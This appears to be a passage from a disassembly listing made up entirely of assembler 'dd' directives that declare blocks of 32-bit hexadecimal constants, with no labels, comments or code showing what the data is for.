		dd 9A848095h, 7E3901Bh,	0B17F411Eh, 0A97703Fh, 0B90068A8h
		dd 7074780Eh, 357B82h, 56FF50AFh, 0F92E4801h, 0B5C80F00h
		dd 0D9F58881h, 1CDFA75h, 0F2B762C1h, 0D40FBF9Bh, 4907471Ah
		dd 57A9ECBCh, 0E3590E10h, 3EF50033h, 0E689B3E2h, 2800CE8Bh
		dd 0AAC209DDh, 0A38C24h, 0B6106DF5h, 1256818Ah,	51005974h
		dd 0B2FFB51Ah, 12CB3D87h, 3C7AE44h, 0D0F2242Bh,	0D84CD187h
		dd 8868702Fh, 21085900h, 2B338ADDh, 71620086h, 8B22C105h
		dd 9100A2F0h, 0D568A615h, 70DCB0AEh, 9C600024h,	948A9DC9h
		dd 29005451h, 0F4BE4130h, 1AC77Ah, 0D38DB4F8h, 0E320384Ah
		dd 34CD1600h, 0F756EB53h, 0E63A07FCh, 518937E1h, 0E46FB3EAh
		dd 4201AB66h, 81A02B3Bh, 0FC207DCFh, 7B150E2Dh,	3EA0F55Bh
		dd 0E039B418h, 28002698h, 16D2A057h, 0CDB1BFh, 0BD738602h
		dd 6A532713h, 6CBAC00h,	0A7811B30h, 65C200D2h, 9D47897Dh
		dd 2A00E0D7h, 0AD4F3880h, 1CC6BE23h, 804C7225h,	12CF2FBBh
		dd 0A1002A17h, 3786A966h, 48538Dh, 7025DEEFh, 4383ECCEh
		dd 0F4874D00h, 1ACF36E9h, 9EED014Ch, 233BBC78h,	0C4D8CB48h
		dd 5500A633h, 0C99DCB7Ch, 3EE77E3Eh, 9801A041h,	9305BCD5h
		dd 1A09DC22h, 373B8D00h, 74B72681h, 1911009Ah, 0BBF36159h
		dd 5100CB2Eh, 639FC97Ch
		dd 3048434h, 0A2EEC215h, 5EC04ABEh, 0FA0050AAh,	32B49658h
		dd 2AC16h, 1749ADC9h, 5F1BA8A6h, 7487D101h, 5765DC4Ch
		dd 77ED29F8h, 5989007Ch, 0A1BA4BBFh, 2767462h, 164EC400h
		dd 655B35CCh, 8F870007h, 45156450h, 0C487F1Eh, 73582C37h
		dd 0FD49E401h, 43D8BAFCh, 243F3C9Eh, 8F3CCE00h,	0F78271E0h
		dd 566B5D00h, 7A4C481Bh, 1C78015Eh, 0B81026Fh, 0F88FE0EDh
		dd 0D42F8500h, 7BBD0DDCh, 0C8AD006Ah, 0F4741BFh, 5E2CAC15h
		dd 5200D679h, 847B24A2h, 4BC21DF7h, 4AFB809Ch, 0E41B8BB4h
		dd 0D912E805h, 52C1B648h, 0F4DC4699h, 0A3BE1816h, 3C14A8F7h
		dd 0D28E7814h, 56A50CA8h, 486F3072h, 0F71D9099h, 0F2BD00C4h
		dd 607068F1h, 50819400h, 0A07859B6h, 1AB20066h,	491F7B46h
		dd 4C0786B4h, 0F3BDDDC4h, 0ABD069C0h, 0A5EA01A2h, 1456F4Bh
		dd 601080AAh, 885754F0h, 70F70725h, 94115C9Dh, 0AB4880C4h
		dd 731C14AAh, 43037492h, 0E8327CB7h, 5C84EA46h,	0C50EF3Ch
		dd 0E52A07D4h, 90977682h, 7985FCCBh, 0B11CD300h, 8B1B7513h
		dd 6C020056h, 0F7BC88BDh, 311F8D3Eh, 5DC5E425h,	0A818E12h
		dd 0A77087C4h, 2E200044h, 323C03F6h, 8A000B36h,	55978180h
		dd 0C641B5h, 573C0B9h, 6D7A1507h, 57EFB300h, 6B5E72A9h
		dd 3C100B4h, 0FD9CC290h, 91001CE7h, 6A86D147h, 0F6318035h
		dd 0AF4B00B6h, 9CFE2472h, 0BA0E3F11h, 67E6B533h, 2390C68Bh
		dd 48293061h, 0D2001A4Fh, 40F55FBBh, 7300F622h,	2006726Fh
		dd 7589C68h, 0CCEBDAEDh, 23F960D4h, 0BA0016F0h,	9F22B169h
		dd 5BEEBDh, 0F46B3599h,	7A911F37h, 93D46802h, 80321C4Dh
		dd 9ECC9CC5h, 85F600EEh, 7ED9F90Fh, 560088ACh, 0E9EDE398h
		dd 0BF6335h, 850BE048h,	0FFCC2694h, 70E380FCh, 411DAE09h
		dd 7000B08Bh, 0EC1F2512h, 30BF60B8h, 0DEFDA82Bh, 0A6CE7403h
		dd 0A8917E32h, 921502Eh, 5517F349h, 0D5B99C87h,	94DEC0C9h
		dd 85E00A20h, 5FEC6900h, 103DF284h, 0EE6D0075h,	64241F9Ah
		dd 7A909252h, 0E0B2A024h, 535D9000h, 8C033Ch, 0FFF5CE9Eh
		dd 0C86EF158h, 6AAA60E7h, 638B400h, 0A3664CAFh,	8F7EAAh
		dd 1E447A03h, 2D3A4114h, 0BB0B6200h, 29AFAEF8h,	6BC10091h
		dd 0EC144A2Ch, 123041E4h, 0F53AD99Ah, 0D42F50C6h, 53D50285h
		dd 0C7580366h, 142540D5h, 0EE9300EAh, 0CEF70DA0h, 0DF30E484h
		dd 25553042h, 0EACC9837h, 0AD8E00DEh, 0C7AA866Dh, 8400385Dh
		dd 78D0C52Fh, 76A6FC68h, 809B189Ah, 96F33875h, 3EB72000h
		dd 533067B1h, 0DFED146Bh, 7AEC49h, 327B8646h, 9D877013h
		dd 2527BD0Fh, 51F6A29Eh, 75A44031h, 8BCF00A0h, 5F7EB5D4h
		dd 160098DBh, 21DD72FDh, 4A4C735h, 0E39D77E7h, 0D9D4C087h
		dd 3D3A8F5Fh, 80A0FB4Bh, 7A50C34Fh, 0C8009734h,	67913824h
		dd 304B3CF6h, 0BB295361h, 22003132h, 90571DE6h,	236D0Eh
		dd 8F49ACA9h, 0E9606A41h, 0ABCFC104h, 18C2BB3Bh, 0F84C4858h
		dd 8F660608h, 3AE63579h, 1C01A17Dh, 83A5C171h, 0F1703965h
		dd 4C9192h, 62BE8C55h, 7AF29F20h, 0DFA45A0Fh, 0DC944Ah
		dd 0CD7C5279h, 630390h,	0A5085FF3h, 2946CAE7h, 2300ABECh
		dd 914E688h, 0B63E17h, 0F6B5F91Eh, 5954E777h, 0E8E1B801h
		dd 0AB55BCA2h, 7F48960h, 1E640F17h, 30A4F0E5h, 36B07035h
		dd 25B39200h, 0A718F88Eh, 0C120FABh, 370D7Bh, 0B55E7DB9h
		dd 4E7E7158h, 13529C3Eh, 28001A34h, 29D28D44h, 873A0020h
		dd 50A2D565h, 0EF095DF1h, 0D5BE54E0h, 6D3BED00h, 0CB00DD36h
		dd 1972D5CAh, 0DC39DB5Ah, 4979C038h, 0FBB47F24h, 78FA320Eh
		dd 0D2DA037h, 8021B9h, 0E48AA0AAh, 0BD1D94A2h, 0D74B9528h
		dd 3E0F27FEh, 8092A7F9h, 0ED719A70h, 0FE406C2h,	602DEFFAh
		dd 2CC88301h, 138785F4h, 921020h, 0E9B20FFDh, 4F8401AAh
		dd 0ECD00600h, 9B2BCFA8h, 904E245Eh, 2EE100ACh,	9892BBB1h
		dd 0EB5C940Bh, 0A5D48097h, 7C2FB36h, 7AF9F19Ah,	2D20AF83h
		dd 0F0C6871Dh, 2C921300h, 358645D2h, 991C5C7Fh,	0EDBE12h
		dd 631929E0h, 8E0024E2h, 0C3662E7Ah, 5BBA56h, 37851191h
		dd 532CF7D1h, 4951B00h,	0D5F9C699h, 7B600A1h, 3AF86F78h
		dd 0F012821h, 0A8AA482Fh, 3FE8B41Dh, 71E0B8h, 85514E70h
		dd 0FCE2B59Ah, 79B1B75Bh, 789890FCh, 8828075Fh,	7915CA9h
		dd 20FCD66Ah, 49D6D200h, 0E55D31F6h, 0B18700B3h, 0ECC00925h
		dd 10F93F8h, 604AFCF2h,	908845B7h, 3760003Dh, 22E41950h
		dd 0AA0070EBh, 298A6F85h, 1B31154h, 8B4DC79Bh, 0F05028F9h
		dd 6A1D5F46h, 0F8C0C53Dh, 3BA713EFh, 1F34F4EEh,	1E7206h
		dd 0F94BDA92h, 2FF4867Eh, 0E21F2DEEh, 0EA402749h, 454C8D4Fh
		dd 7622905Ch, 93C70088h, 5E51063Fh, 900469Dh, 822A533Eh
		dd 0E348F17h, 0C63304D8h, 5893B280h, 4A1627EBh,	3400BAAFh
		dd 9F41A383h, 64F104DEh, 847895C1h, 0CACB0h, 6CA4D55Ah
		dd 0D1C09Bh, 0D0713FA8h, 0B33A1306h, 4478C403h,	0E3191AA6h
		dd 0FEDEA835h, 0EB072CE8h, 4D7E00EBh, 3795BA41h, 9A2941Dh
		dd 0B57A3183h, 0CA5B8050h, 913A006Fh, 75BC60B7h, 0E20003E1h
		dd 0CBEFC4A6h, 30F0A452h, 2AF0843Bh, 0C200BC33h, 43ABB69Fh
		dd 0EF3AFBEh, 811A2488h, 1C935121h, 8E17CCA2h, 0C8032F71h
		dd 432BA092h, 0C5E80058h, 0CC055DE5h, 62000228h, 2049BD85h
		dd 84F13Fh, 0A6803EA2h,	2E0825ABh, 0B0A0D3E8h, 35008EA9h
		dd 79907820h, 0E23F9Fh,	157E6D0Dh, 0B22C9C3Eh, 51FE0F00h
		dd 481BDC24h, 0F2AB852h, 0F6C7D97Fh, 0D14F11C0h, 59F239A0h
		dd 0E5F4B103h, 7865250h, 0CE014E50h, 0CBF7E0E9h, 0D1008C04h
		dd 0A7308346h, 872E1Ah,	7BB8836h, 90AA7120h, 8A7D0807h
		dd 1E802777h, 76368Ch, 0D77A1A49h, 53BE0F8Fh, 61005090h
		dd 5B97995h, 275D9D01h,	2F012B7Eh, 0D056A974h, 0AA0123DDh
		dd 360DED49h, 5680A085h, 185F28C6h, 0F6E86CDEh,	3A16D903h
		dd 0A13ECC9Eh, 0C8427599h, 17F0E088h, 1C63301Dh, 18AC67F8h
		dd 9E722700h, 787064DDh, 0C8680077h, 8AFBA212h,	320FE338h
		dd 409182AFh, 95DFC318h, 74FC00F9h, 2471291Bh, 4A00E299h
		dd 565352C1h, 58689Fh, 0B7E0B830h, 0EAFBB5B0h, 0A6DFB200h
		dd 0F7765006h, 0AC75018Bh, 306F158Dh, 0EDD320E7h, 0BAAA6303h
		dd 0A8DF947Eh, 0DEEAE0h, 5845F938h, 2A9C4C64h, 0F000447Eh
		dd 0BCBF7E35h, 0F44785h, 0A1B3E677h, 0A9FEFB7h,	0E10CC507h
		dd 1080368Ah, 0FCD19D26h, 92A8061Ch, 1839705Ah,	3B52AB00h
		dd 4BACDD01h, 56AE0734h, 40BCA53Ah, 0CCF12012h,	2599F200h
		dd 539D1438h, 1DE861h, 71E815CEh, 49C93DC6h, 85A49E14h
		dd 0BB2200B0h, 0AA763A3Bh, 49D4EC83h, 0A1007C78h, 1B2EB901h
		dd 0EB001A94h, 0A4B78660h, 0C028AB3Fh, 55ADF738h, 7C925E45h
		dd 6A0A970Fh, 7801B2F4h, 0AD1F68C7h, 0ED751E0Ch, 0B0774892h
		dd 33572F0Eh, 0F52860EBh, 419F0CBh, 0E15549B5h,	0AC24805Ch
		dd 6E1E7156h, 7F0EC797h, 0FD638169h, 54305FFBh,	84BD2002h
		dd 1CA95444h, 8060D74Bh, 0FD0EFE67h, 0C0AF7F0h,	0FC799F6Fh
		dd 0B7163E03h, 0FE5280EDh, 0BFE2003Ch, 0EED53AF1h, 25000D45h
		dd 4DD14A78h, 788C9642h, 415D038Eh, 0ABD7931h, 0A4EB18F0h
		dd 0A4AF4Ch, 973CC093h,	2360AEh, 4719FAA2h, 968FA12Bh
		dd 0A6C84400h, 3265B6F2h, 0C340E793h, 7024685h,	4EF7FB90h
		dd 0A0704013h, 953B20D9h
		dd 0EF03777Dh, 2BFE0D8Ch, 0B6B7E84Ah, 662D2C45h, 0EF48008h
		dd 86B991C9h, 42214900h, 6AD7DBCh, 8198982Eh, 52D47683h
		dd 1177009Fh, 33C7D8BAh, 0AA02ADBDh, 0CB370F24h, 326C60A7h
		dd 0F42D0F83h, 0B9A0193Ah, 3705F003h, 4B2A9E00h, 8AA741A8h
		dd 56CF00D7h, 9F030F87h, 7300070Bh, 9C35CB9Bh, 0ED3A70h
		dd 3340D530h, 0FE717C24h, 22954803h, 0E85CA0C3h, 0B3364Dh
		dd 2532BE37h, 0D3F7B29Dh, 8D510B00h, 95CD98E3h,	30988Eh
		dd 6E3B5B7Dh, 0EA885072h, 0EC82BD00h, 303ECF56h, 3CF8D3h
		dd 4F4023C3h, 94DFA666h, 0EF030E00h, 48746B5Dh,	7C7B39h
		dd 0AA844399h, 0AB8B686Eh, 0EC022B07h, 6CC0F050h, 0EE48CBC3h
		dd 0E4A2003Fh, 5B42F929h, 450072C9h, 2B60CC67h,	6BBC64h
		dd 34C7E452h, 9298BB07h, 3861830Eh, 9160E010h, 0F06A4Ch
		dd 762C6E8Bh, 2A7DAA72h, 6762CA01h, 0B7BD4F15h,	34D24E4h
		dd 0FD885FBFh, 19DB5EF5h, 9C1C0DA0h, 374C0FB8h,	76D100A2h
		dd 578486DBh, 55F60710h, 20582F9Fh, 93224A62h, 3FE73700h
		dd 955F4F79h, 3EDE4EBh,	17674D99h, 0B2703540h, 0F3439707h
		dd 7B07DD3h, 1FC46E88h,	5665174h, 0C09BD161h, 33E39871h
		dd 0CD04AD2Ch, 5D9B001h, 0EEF314C3h, 8D022890h,	6AC20318h
		dd 52C47BE5h, 7EA06FA3h, 28CF9C85h, 5AC870D1h, 6C00F4BAh
		dd 6A35D967h, 165595h, 8F5192C9h, 70637F5Ah, 3901F877h
		dd 0A737359Dh, 0B9C0203Fh, 187A0FC7h, 6AC3053Ah, 8BF048A4h
		dd 235002ADh, 8250FC34h, 0DC036A54h, 284CE3A2h,	75782BDEh
		dd 831F9078h, 0A07BA7FDh, 22571941h, 4631854Ch,	43E2D1A5h
		dd 9BF9288Eh, 0EF9AD2C2h, 100F4140h, 0C4005078h, 8FDF5EF3h
		dd 36C2DA2h, 0EA341201h, 74A8189Eh, 7F0058C8h, 90048B81h
		dd 0D6411Ah, 3B7DB60Ch,	694E0397h, 1B8A138h, 0AA0A9277h
		dd 60CEC3DFh, 0F7604F3h, 0EA3E3316h, 60A800D6h,	0EFD40A2h
		dd 0C388201h, 0B6E4134Fh, 8E7CF0h, 0AB910F6Fh, 0ACEC6983h
		dd 9C014AEAh, 0F5A29A4Dh, 16301DDCh, 0D670081h,	4ABA5B64h
		dd 21005913h, 35A55A79h, 35FEC5Ch, 0CE8BEF1Bh, 65A8B8F9h
		dd 700766Ah, 0A134817h,	1A544BEh, 0AD736BBDh, 0CC1855EAh
		dd 0E000DF3Eh, 0EEA086A7h, 805453h, 0FA23A9Dh, 0CFEC65F6h
		dd 0E1F311C0h, 84DD4Eh,	8DA191E5h, 0E646867Ch, 0BD0F100h
		dd 4C3AFEAAh, 0D2740092h, 0A6A8503h, 560ECEEFh,	43503BC3h
		dd 7C843018h, 8604AF51h, 10A713E1h, 15C9CA07h, 5FF0A07Fh
		dd 1A3A426h, 0F95D3DC5h, 0C862E19Fh, 87196C4Bh,	329132Ch
		dd 5B447308h, 6510844Eh, 37117E01h, 1D2C2127h, 83122BAh
		dd 271B5114h, 26895F08h, 5D6F1441h, 25CF5188h, 2D67900h
		dd 0F7A875h, 40AFED34h,	0FCC990DAh, 39820D00h, 1AA6B820h
		dd 0CF8B00BAh, 6B79C2E7h, 0B09806CBh, 705D0526h, 29C7300h
		dd 2C52DEh, 0E60FB9A8h,	7EB677A9h, 0C9F22851h, 8188EB1h
		dd 0B34427EEh, 6A92E1B0h, 3BBD008Dh, 0A429E9D1h, 85287236h
		dd 0F030FCB2h, 0F63090ACh, 98F8B7h, 0A6A9BDD4h,	0ECA32088h
		dd 639B4E14h, 0B27000F6h, 0DA465B9Eh, 906900ABh, 8561B848h
		dd 0B381843h, 349E007Bh, 620439D2h, 0A16C0364h,	4B26FEC5h
		dd 0D4F2B780h, 1E8BBB02h, 40FAAB73h, 1F01AFh, 2614A340h
		dd 7DC21CDFh, 0C1756F00h, 494BD5F6h, 0E20FF2C9h, 761A00E3h
		dd 56031CCCh, 58245D47h, 0A0000CA6h, 0D9E2841Bh, 28EE2E49h
		dd 0EF240016h, 3F14C2B1h, 7EA5653Bh, 0C33DFC7Fh, 68B48E21h
		dd 6D30E3E6h, 9AF2F880h, 0E940001Ah, 2DC727A4h,	5900671Fh
		dd 0A1FC989Fh, 329922h,	0E1812A39h, 51C8A478h, 0B896D400h
		dd 71F85C73h, 7CD3BF0h,	0B9CB160Ch, 0E407BF19h,	78A391A1h
		dd 30FC3E00h, 53CE173Ch, 0D1CC00B7h, 8119B1Ah, 5E683200h
		dd 0F46B55A8h, 0CFA6122Bh, 0DEBC40A9h, 0F7597898h, 0DBD8AB00h
		dd 0F137DF6Ch, 3DFB74A2h, 0E481F6D6h, 0B0648508h, 0EB20CCA8h
		dd 6E013F77h, 0DF53274Fh, 0ECC4A7A6h, 0F5ED00B0h, 7D81B929h
		dd 1E010FCEh, 0C222F239h, 80608E77h, 50DC009Ch,	78287953h
		dd 0E9003314h, 0CE9F6989h, 77757Fh, 1E2BCC6Ah, 0B2B52E09h
		dd 8030B13Ah, 0D03DD905h, 7E8BF9h, 72F7CFD5h, 0C93AC35Ch
		dd 0FD0BD200h, 16486966h, 0EB43018Ah, 0FBEA3D39h, 0DABF5Fh
		dd 0FC05DB51h, 3BD53CC4h, 9280E77Ah, 0A13DEFCCh, 0DA71D37Fh
		dd 86A98700h, 44C8CA4Dh, 0ACF60064h, 0C382AE73h, 0B005443h
		dd 7D98F56Ch, 786F4A0h,	3AF01E3Eh, 5F343064h, 9E14ED4Ah
		dd 80466Fh, 175262BAh, 50396426h, 7123FDF5h, 0BDD80061h
		dd 24DD27Bh, 0B9E22D32h, 0D41A9300h, 24ACC74Eh,	38840081h
		dd 0EA82832Ah, 7B71BFB7h, 0C5FD0D00h, 8E87C0C4h, 0A35C141Eh
		dd 7602E403h, 4C9B37Eh,	263C87C0h, 0B95B2F00h, 0ABB08DA9h
		dd 63DF1D9Dh, 16E68039h, 3614B122h, 96922713h, 44598800h
		dd 0F402D450h, 877A001Eh, 61E96ED0h, 9000FECDh,	4049F199h
		dd 0A9BB304h, 0C1F3771h, 0A752018Fh, 0C4844EDBh, 0B502D44Ah
		dd 0B17278E6h, 6FF441EFh, 574DD0h, 88749F64h, 34DFE1E5h
		dd 4BB99003h, 0D863AF3Eh, 0FA3D9115h, 0C1A30032h, 0E6B30A03h
		dd 5400E211h, 0B5923849h, 19948F4h, 7245098Fh, 0C0F6B6FCh
		dd 41FE766Eh, 5B9B8E01h, 0F0772E9Ah, 7D6960h, 12092F37h
		dd 96A32672h, 76C55E00h, 332BB34Fh, 0B2CB0EA1h,	0D8207D8Eh
		dd 0DA0F5CBBh, 0D05B9301h, 48C1F682h, 3DF5A8F8h, 5080989Eh
		dd 16426751h, 3D76A3E1h, 0D6749000h, 0F04C402Bh, 393C0711h
		dd 102A5905h, 0AA23CC49h, 5403D879h, 76EC27FCh,	7A80064h
		dd 0C181E4C6h, 0B0308B9Dh, 53FDD0E5h, 4C4D00B9h, 0BCF70197h
		dd 0A70086E1h, 7BD408FAh, 0DD2A07h, 5C32441Dh, 0EE13995Fh
		dd 16EBF00h, 8B606658h,	12FA1E7Bh, 0C2F700F2h, 28FC4815h
		dd 0AB62000h, 62C6E997h, 704C00F8h, 49F3C545h, 3814B93Bh
		dd 7A848C1Ah, 58EBB403h, 0F9B61FB2h, 33F05527h,	4D3000F5h
		dd 52760567h, 9300B013h, 1F6F5380h, 330350h, 0CEAA5CC3h
		dd 98602F71h, 57002270h, 7E2DAB12h, 499CE094h, 6A240437h
		dd 0DE9C3BA9h, 0C59B4FB2h, 73995A80h, 3C002988h, 0AAAF64C1h
		dd 65769Fh, 72C280B0h, 336754BCh, 0DF36A00h, 41834084h
		dd 0B42D52FCh, 1FCE40h,	0A91CE2A7h, 215F1932h, 288C4931h
		dd 0DCD4B553h, 0D62400D9h, 0C9721CF4h, 381EBCE9h, 9A80FF52h
		dd 365503C2h, 93A01B6h,	3F8272B3h, 808ED07Eh, 1D49510Fh
		dd 0C3FE673Eh, 0E9C9B173h, 0F0802430h, 5FAF973Fh, 0CAF89E64h
		dd 707E7501h, 87E339C6h, 0B98BE30h, 94A45972h, 0EBC26380h
		dd 9B3881E2h, 3F6D804Ch, 0F507174Ah, 53AF007Bh,	232270C3h
		dd 9000D33Ah, 1EC5F1B6h, 1D143CE9h, 8046442Fh, 0E1A121A8h
		dd 9A3A8528h, 0D64800D0h, 80ED4D84h, 106F0F4Bh,	401F2F4Fh
		dd 0AC412B53h, 6A000C8Bh, 372C1D9Ah, 450498h, 212E74D3h
		dd 794BB872h, 0DCE2F0C1h, 0C208DC4h, 0FEC7950h,	51EB2FC9h
		dd 94E3FE20h, 0C0C0CDD0h, 3267C720h, 0CEB90031h, 40E2CA7Ch
		dd 20901DEDh, 0C5842B00h, 680398A1h, 440A0F85h,	0ED40C696h
		dd 842B8EAh, 0E4D1B000h, 4FA91D9h, 5ACA0E37h, 0B880C3EBh
		dd 0B210F6A5h, 99479804h, 288030C1h, 0FE4524FBh, 267601F7h
		dd 76E25B6h, 6D7CC0A1h,	0E47E4304h, 0F0803FD6h,	3D78AB1Fh
		dd 2F004001h, 1159FD6Bh
		dd 0F2002CA5h, 0B2D035C0h, 70A6CABEh, 210900E6h, 0DD25FD68h
		dd 98A8A10Dh, 0B32E8193h, 56004226h, 34A91FD1h,	3AAD00DFh
		dd 0C2B2D67Dh, 0F63E8133h, 0DDBD8093h, 7B9EA6F0h, 0DA3800ABh
		dd 0EECA7A77h, 0D800B58Bh, 24ECFF39h, 0A1731Ch,	4E4C6557h
		dd 32DC7EEDh, 91807660h, 0CCA0D0h, 19C5A62Fh, 5E69DD55h
		dd 0F307837Ah, 0A521AA9Bh, 7202D07Ah, 8F9D13F8h, 1F7300DCh
		dd 0CA9EF1h, 0EB3C5D88h, 0F23E375Ah, 0B8E7A04h,	0F702CC86h
		dd 0C1407459h, 0A0491B18h, 3B5200A8h, 0F72C70A2h, 0E8146117h
		dd 4029773Eh, 7D0C5DCh,	60B6500h, 2F314D4Fh, 3F791C61h
		dd 8B6BC3C1h, 0FE80E1FAh, 5C4C4ABCh, 62850090h,	17F5F605h
		dd 0C5183ABDh, 0E0F675h, 51B867B6h, 69F8D557h, 2AA18C02h
		dd 0C3BB8A1Ah, 9E4E88F2h, 35800142h, 2041F274h,	0DEC3D8AEh
		dd 93279202h, 8008948Eh, 0BF9A8FACh, 0C87C09D0h, 1800C483h
		dd 0AED36AB9h, 6F5B7500h, 0C03BC548h, 0ADE8C095h, 4BDB9E39h
		dd 7F8E68C0h, 946924h, 9A097465h, 0D668FB7Ch, 0E0BD9207h
		dd 80456A28h, 18B18844h, 0ED3A6B80h, 4B300089h,	0BACDE1D8h
		dd 8E071BDFh, 3DC84333h, 29FA2410h, 0B86A0030h,	2592D99h
		dd 7D98E848h, 0E4B70500h, 0C7DD3E2Eh, 9CBB5435h, 26630FB0h
		dd 2D80A1E2h, 0CE53395Fh, 0FDC2281Dh, 48299E00h, 0F321763Eh
		dd 0A8C3E243h, 24EE5EA9h, 88FA1h, 0FC6F0879h, 0FA02FBB1h
		dd 4C217326h, 597B4093h, 0C2A100CCh, 8F95B62Dh,	1226ECA4h
		dd 0DF802CACh, 8DC1C690h, 947C00D3h, 0B1EB013Eh, 0BC9024D2h
		dd 3958F413h, 0FAA1D801h, 0FBC4326Fh, 6EA601E4h, 22BF4692h
		dd 24A03062h, 88930100h, 116D5580h, 263F7F83h, 1DE4BB0Fh
		dd 9C1D0E4Dh, 5974B920h, 0C407A20Ch, 0F13CC60h,	826140A0h
		dd 38941F02h, 0CD3782D0h, 704073AFh, 0C6B01528h, 4547E02h
		dd 0E45A0829h, 99F4161Ch, 0C0A81D64h, 20796585h, 7490AE4Fh
		dd 4B2DE500h, 8312F3BEh, 44193C9Bh, 4502A060h, 7E284041h
		dd 0AC00A088h, 540E51BBh, 1F5D89h, 90ADEB2Ah, 2417304Dh
		dd 0EDA53600h, 0FEC16FC8h, 0C9C61ED4h, 8A97430Dh, 0EB987EA9h
		dd 0B0056D6h, 18F14D52h, 0CF9BF26h, 1FBA6EB0h, 790197A0h
		dd 1C2C770h, 58706F62h,	13650148h, 0E52545A2h, 0A813DB4Eh
		dd 83054BEDh, 5CC47CA7h, 5C924EC5h, 5051E0E8h, 0BAD1023Ch
		dd 0B6F4201Dh, 4712B080h, 2C00B70Fh, 3A7EEE42h,	601EBDE3h
		dd 41936882h, 595C45F8h, 28711D48h, 3964E280h, 72A9E1h
		dd 0A5C41B94h, 0CE8567BFh, 4C9E9902h, 0C04B2F82h, 0E0379410h
		dd 0B063711Ch, 0CC7116A6h, 251C406Ah, 0A5DE8DEFh, 1DF848C1h
		dd 0B0766E1Ch, 49C8B100h, 2A7A9CCFh, 8481C0EDh,	0C7045200h
		dd 14DF2E68h, 6135268Eh, 0C30E4560h, 42813608h,	5AFE403Eh
		dd 0FB00E945h, 0DC980A15h, 3AD53F9h, 3CDD4D5Bh,	50E0A548h
		dd 0F0D35502h, 20573C4Fh, 1458CA4Dh, 3DE8B7h, 1DCC6F66h
		dd 4C0D7CABh, 0E92FEC1Ch, 93B9F40h, 2E8EBD1Fh, 7D00723Fh
		dd 0B4C0EE10h, 0A9B3635Ch, 0BAE0E601h, 20F37AC3h, 0E986C8h
		dd 0CF2D3BD3h, 82C95CDAh, 8097723Fh, 554DC734h,	48AF949Ah
		dd 8033C8Bh, 0AA4E2C5Ch, 0B01CF0BFh, 651290A1h,	0B00EE48h
		dd 69B7804Dh, 0A49467h,	0EAC10CD0h, 8A013E2Ch, 742E3B4Bh
		dd 0E040F298h, 0EC8BBEh, 0F3BF539Dh, 0F79254EBh, 0B46FD8B0h
		dd 15342120h, 11BDD8A8h, 0A296B181h, 240AB0F0h,	0FD046630h
		dd 2A5537D2h, 83346081h, 0C4EC512h, 42325500h, 56EB30D0h
		dd 367C26D5h, 7BB50089h, 0A4703E80h, 0B943C100h, 0E74A21D6h
		dd 86648B7h, 802EE51Dh,	0FD3DCAAh, 307F77C5h, 16F5B512h
		dd 727580Bh, 0C0C0B25Ch, 0C36AA0h, 0DEBBCF8Bh, 2613047Ch
		dd 603EE500h, 278947FAh, 0C6E1004Fh, 5E64DC78h,	0DB0063E6h
		dd 528C2516h, 0EC46481Ah, 0D9842667h, 5C3900CBh, 0A33D4D09h
		dd 0F20B0801h, 27AED6A9h, 0D06080C5h, 75B113DAh, 1D284794h
		dd 0AF483084h, 0F801062Ah, 377F1A3Fh, 4DE0B7C2h, 12071FBh
		dd 0A4180AFCh, 70CEC521h, 0BF019020h, 1EEAB79Bh, 6460917Bh
		dd 72A10081h, 0EF0D8EBBh, 0C100466Eh, 54C0A95Eh, 0B8F876DCh
		dd 75910050h, 2679CE14h, 41045C53h, 0D5B8F396h,	300718D0h
		dd 0F6A83811h, 0C588DB3h, 0DB8E3DF8h, 0EC9B3100h, 6D9CF41Ah
		dd 68E50391h, 751F9A0Eh, 3BBC5CC8h, 0E6514300h,	0AB578C85h
		dd 87C50065h, 889FFD90h, 4F0047B0h, 677E5A1Dh, 7E08EF1Ch
		dd 0F5193E70h, 26744880h, 38395D75h, 720060B2h,	57C0D021h
		dd 3886AD66h, 75853E63h, 0C0BD95FBh, 328A6EA0h,	8884B700h
		dd 1DD2AAACh, 0A3DB0315h, 261F192h, 18975990h, 5047BB02h
		dd 410FBD36h, 0DFD4C6E4h, 0BE83182Ah, 0DE151073h, 0DB75501Eh
		dd 26B4CC49h, 7678F8h, 0D6654403h, 91A3C15h, 31EFF900h
		dd 0F2E28C81h, 29620206h, 5F631EBCh, 300AA887h,	0E459E0D2h
		dd 62368000h, 583E0578h, 0DA2A00EDh, 0ECF4843Fh, 4500514Eh
		dd 7A8B0BB5h, 6F543BDh,	562BC3FAh, 0E8783881h, 0B70D530Bh
		dd 0F8ECA145h, 583082B3h, 0D5E76DEh, 7664DFAEh,	25A85060h
		dd 77003F2Ch, 164EFC57h, 639F9Bh, 2036FB5h, 3DAF6A4Fh
		dd 8F442603h, 0C0527CB2h, 1FB6BDA1h, 409F65DFh,	0CB14D34Ah
		dd 1E792498h, 37D6B07h,	0BB80B847h, 982A50C3h, 0F8BFC6Eh
		dd 0BC514C69h, 0ED0E406Bh, 7E57A020h, 0D600D019h, 1FF8B702h
		dd 0E4FDEFF7h, 0CEB900A1h, 0B3A42109h, 0C2546E9h, 176020F3h
		dd 7CE44339h, 0FA7FEAh,	449AA905h, 3A4E8030h, 6E000C91h
		dd 15D1395Ah, 3E1E078Ch, 4665F40Dh, 410021A5h, 0CA5638DAh
		dd 83557Bh, 0ADFE0C6Fh,	6E7A9592h, 5C82F48h, 663C8EA0h
		dd 128028D7h, 0B85CB764h, 0BDCC80E9h, 6F08CC42h, 5200FF21h
		dd 0CCF040B7h, 3D93006h, 7EEDC18Dh, 7A81B101h, 8E818E8Ch
		dd 0B609648Fh, 1DE060A1h, 59B30056h, 0A6E1ED75h, 0DF74852Eh
		dd 3981A59h, 0B5B34F32h, 37D3D833h, 0D5D55867h,	9BF22A00h
		dd 340F415Eh, 0A229515h, 697C0E90h, 44218791h, 407BF502h
		dd 308FB411h, 0C5E86E59h, 0D6CB1F9h, 18579098h,	10104511h
		dd 3B0E3930h, 0A0BA94B2h, 171AFB22h, 4E6E008Dh,	0D7066BBDh
		dd 801DE681h, 24C0A642h, 0E293D209h, 5E5000BEh,	0B0694F07h
		dd 0FF0C42EDh, 908968C0h, 0FDB90074h, 45D1770Fh, 0FA05C231h
		dd 439DDAB8h, 6FD35680h, 0EB8E0018h, 0C6C0EA1h,	0C41DC5C7h
		dd 80801B71h, 4BE11120h, 76930041h, 0F89E4CFFh,	7000530Dh
		dd 42C5CB8Ch, 790665Fh,	8F6CD703h, 0D8A33F83h, 69F82078h
		dd 0F75C3BE7h, 35FF0085h, 0B1DD91Bh, 0EC6133D5h, 211CE908h
